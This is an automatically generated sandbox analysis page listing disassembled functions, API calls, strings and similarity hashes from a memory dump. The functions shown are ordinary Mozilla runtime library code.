Function 6CD0C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD0C5A3
WideCharToMultiByte.KERNEL32 ref: 6CD0C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CD0C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CD0CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD0CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD0CAA5

Strings

0, xrefs: 6CD0D30A
(null), xrefs: 6CD0C596

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction ID: 1015be14b343094a84989ad5d640c800330a833c78367f4d59819c436676f951
Opcode Fuzzy Hash: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction Fuzzy Hash: 7BA19A307083419FDB10EF2CC58875ABBE5AFC9758F04882DE99997662D731E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CCE350E
__Init_thread_footer.LIBCMT ref: 6CCE3522
__aulldiv.LIBCMT ref: 6CCE3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3592

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CCE3508
kernel32.dll, xrefs: 6CCE34EA

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction ID: 29f256300580da0f48a8693f1635e4a44e00efef78e25ae7e1824776dfcde230
Opcode Fuzzy Hash: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction Fuzzy Hash: 3E317271B01605ABEF04DFB6C948BBA77BAFB4A304F144419E64597BB0E770A904CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CD24843,?), ref: 6CCE45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CD24843,?), ref: 6CCE468A
free.MOZGLUE(?,?,?,?,?,?,6CD24843,?), ref: 6CCE46C9
free.MOZGLUE(?), ref: 6CCE46EF
free.MOZGLUE(?), ref: 6CCE4712
free.MOZGLUE(?), ref: 6CCE4735
free.MOZGLUE(?), ref: 6CCE4758
free.MOZGLUE(?), ref: 6CCE477B
free.MOZGLUE(?), ref: 6CCE479E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction ID: 8c65bc91b924ab52c1c50fdea7d74d04a0f58f382b52ce319d5db480359bad50
Opcode Fuzzy Hash: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction Fuzzy Hash: C0B1D271A001508FDB28DFADD89476D77A6AF4B328F184669E816DFB92F730D840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CD4AC52
CreateFileMappingW.KERNEL32 ref: 6CD4AC7D
GetSystemInfo.KERNEL32 ref: 6CD4AC98
MapViewOfFile.KERNEL32 ref: 6CD4ACB0
GetSystemInfo.KERNEL32 ref: 6CD4ACCD
MapViewOfFile.KERNEL32 ref: 6CD4AD05
UnmapViewOfFile.KERNEL32 ref: 6CD4AD1C
CloseHandle.KERNEL32 ref: 6CD4AD28
UnmapViewOfFile.KERNEL32 ref: 6CD4AD37
CloseHandle.KERNEL32 ref: 6CD4AD43
CloseHandle.KERNEL32 ref: 6CD4AD67

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction ID: afc584ff7345c5441c033b7ca15eaea9c37f16683d632c3ac3a83034951fe4b8
Opcode Fuzzy Hash: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction Fuzzy Hash: 413160B1A047059FEB00EF79D64826EBBF4BF85305F01892DEA8997251EB709458CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EC1
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EE1
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F38
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CCE1F83
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FC0
EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FE2
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCE2019

Strings

MOZ_CRASH(), xrefs: 6CCE2000

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction ID: 76e532bc7f7bdba7e2adddb6e354993acfe7ad88b1793d06b332dc3c5f4f02d2
Opcode Fuzzy Hash: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction Fuzzy Hash: 2441A471B043159FEB009F6ACC84B6AB7B9EB4A345F040125FA059BB82E771D805CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF7EA7
malloc.MOZGLUE(00000001), ref: 6CCF7EB3

Part of subcall function 6CCFCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CCFCB49
Part of subcall function 6CCFCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CCFCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCF7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CCF7F19
malloc.MOZGLUE(?), ref: 6CCF7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCF7F4D

Strings

d, xrefs: 6CCF7F89

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction ID: 5aefb36e9b53b7f3a7f9dc5b173fbda58c8e3ef92db8feb74d6670bf16e174f9
Opcode Fuzzy Hash: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction Fuzzy Hash: 0C31F661E0438897FF019B69DC049FEB77CEF96208F445229ED595BA12FB30A5D8C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6CCF3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF3FDC
RtlAllocateHeap.NTDLL ref: 6CCF4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4157

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 083eaff242fac4f1ca32faa30e8c2d1996fcadfc0f4160d234ca84422550763a
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 17A182B1A00205CFEB80CF69C980759B7B5FF88304F294199D9199F752E771D987CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD39D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD38273), ref: 6CD39D65
free.MOZGLUE(6CD38273,?), ref: 6CD39D7C
free.MOZGLUE(?,?), ref: 6CD39D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CD39E0F
free.MOZGLUE(6CD3946B,?,?), ref: 6CD39E24
free.MOZGLUE(?,?,?), ref: 6CD39E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CD39EC8
free.MOZGLUE(6CD3946B,?,?,?), ref: 6CD39EDF
free.MOZGLUE(?,?,?,?), ref: 6CD39EF5

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction ID: 7d9d176906a34e7e10136ffe08c0d2e55b8c11a64e5f185e96ceecb45d34143a
Opcode Fuzzy Hash: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction Fuzzy Hash: AE717BB090AB51CBD712CF18C48055AF3F5FF9A315B449619EC9E5BB22EB30E885CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CD3DDCF

Part of subcall function 6CD1FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD1FA4B

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE0D
free.MOZGLUE(00000000), ref: 6CD3DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF32

Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DB86
Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF65
free.MOZGLUE(?), ref: 6CD3DF80

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction ID: cdcfdeda7eebe2548691e6f23397f0004beac8873009dc40d25cd5fd9623b783
Opcode Fuzzy Hash: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction Fuzzy Hash: D851D472611620DBD7119F29C8802AEB7B6AF93308F95111DD99E63B60DB31F819CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DC9
std::_Facet_Register.LIBCPMT ref: 6CD45DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E45

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction ID: e5ae009b31e412dd169a60ba50b3df44829dfe66dccb4d8feff662aad4d14cf0
Opcode Fuzzy Hash: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction Fuzzy Hash: 5A418E75700205DFDB00DF65C898AAE77B9FF89364F448069E60A9B7A1EB31E805CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CCE31A7), ref: 6CD1CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD1CFA4, 6CD1CFB8
<jemalloc>, xrefs: 6CD1CF9F, 6CD1CFB3

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction ID: f3ea90a63523504914d545248fecf1bb54f7b23e6f0a8fc5de1db641cb3b77d9
Opcode Fuzzy Hash: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction Fuzzy Hash: 2E31A730749205ABFF14AFA69C45B7E7BB9AB81758F204025F611ABFE0DB70D400C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CCEED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCEEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CCEEDCC
CreateFileW.KERNEL32 ref: 6CCEEE08
free.MOZGLUE(00000000), ref: 6CCEEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CCEEE32

Part of subcall function 6CCEEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CCEEBB5
Part of subcall function 6CCEEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CD1D7F3), ref: 6CCEEBC3
Part of subcall function 6CCEEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CD1D7F3), ref: 6CCEEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CCEEDC1

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction ID: 16a8dbf5708ab835b2ea4eb028fb1a0d043691fdc7db696f0337416bb9a71274
Opcode Fuzzy Hash: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction Fuzzy Hash: 4951DF71D053088BEB00DF69D8407EEB7B1AF5E358F44842DE8556BB80F730A988C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A565

Part of subcall function 6CD5A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD5A4BE
Part of subcall function 6CD5A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD5A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD5A6B6

Strings

z, xrefs: 6CD5A6AE
0, xrefs: 6CD5A5FB

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction ID: 3bb2566fb886fd79660180571bdf3f842f0d0be5fe18e25d2cfa43159549f8d2
